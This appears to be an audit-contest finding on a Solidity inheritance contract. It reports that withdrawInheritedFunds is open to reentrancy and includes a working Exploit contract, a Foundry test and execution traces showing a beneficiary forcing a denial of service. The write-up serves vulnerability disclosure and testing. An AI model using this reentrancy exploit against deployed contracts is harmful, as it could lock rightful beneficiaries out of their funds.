Submission Details
Severity:
`InheritanceManager.sol::withdrawInheritedFunds` is vulnerable to reentrancy and can cause DOS, which prevents beneficiaries from withdrawing funds
Summary
The InheritanceManager.sol::withdrawInheritedFunds() function is vulnerable to reentrancy, allowing a malicious beneficiary to repeatedly call the function. Although this reentrancy does not grant the attacker more funds, but it can lead to a Denial of Service (DoS) by draining the contract balance prematurely, causing subsequent transfers to revert due to insufficient funds. And if the private keys to the owner is lost, there will be no way to remove the malicious beneficiary, causing the funds to be stuck in the contract.
Vulnerability Details
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
@> (bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
@> IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}
Impact
contract Exploit {
InheritanceManager im;
constructor(InheritanceManager _im) {
im = _im;
}
receive() external payable {
// If IM contract balance more than 6e18 then reenter (for testing sake)
if(address(im).balance >= 6e18){
console.log('IM balance:',address(im).balance);
im.withdrawInheritedFunds(address(0));
}
}
}
function test_withdrawInheritedFundsReentrancyCausesDOS() public {
// Give the IM 10 ETH
vm.deal(address(im), 9e18);
console.log("IM initial ETH balance:", address(im).balance);
// Create 2 more beneficiaries
Exploit exploiter = new Exploit(im);
address user2 = makeAddr("user2");
// Add all 3 users as beneficiaries
vm.startPrank(owner);
im.addBeneficiery(address(exploiter));
im.addBeneficiery(user1);
im.addBeneficiery(user2);
vm.stopPrank();
// Fast forward 90days and start inherit
vm.warp(90 days + 1);
vm.startPrank(address(exploiter));
im.inherit();
// Withdraw Ether
vm.expectRevert("something went wrong");
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
Results
[PASS] test_withdrawInheritedFundsReentrancyCausesDOS() (gas: 390169)
Logs:
IM initial ETH balance: 9000000000000000000
IM balance: 6000000000000000000
Traces:
[390169] InheritanceManagerTest::test_withdrawInheritedFundsReentrancyCausesDOS()
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 9000000000000000000 [9e18])
│ └─ ← [Return]
├─ [0] console::log("IM initial ETH balance:", 9000000000000000000 [9e18]) [staticcall]
│ └─ ← [Stop]
├─ [106080] → new Exploit@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 418 bytes of code
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(Exploit: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(Exploit: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Return]
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::expectRevert(something went wrong)
│ └─ ← [Return]
├─ [94638] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [79356] Exploit::receive{value: 3000000000000000000}()
│ │ ├─ [0] console::log("IM balance:", 6000000000000000000 [6e18]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [77789] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ │ │ ├─ [279] Exploit::receive{value: 2000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user1::fallback{value: 2000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] user2::fallback{value: 2000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [0] user1::fallback{value: 3000000000000000000}()
│ │ └─ ← [OutOfFunds] EvmError: OutOfFunds
│ └─ ← [Revert] revert: something went wrong
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.12ms (1.34ms CPU time)
Tools Used
Manual review
Recommendations
Implement a beneficiary self claiming method to withdraw funds instead.
Updates
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.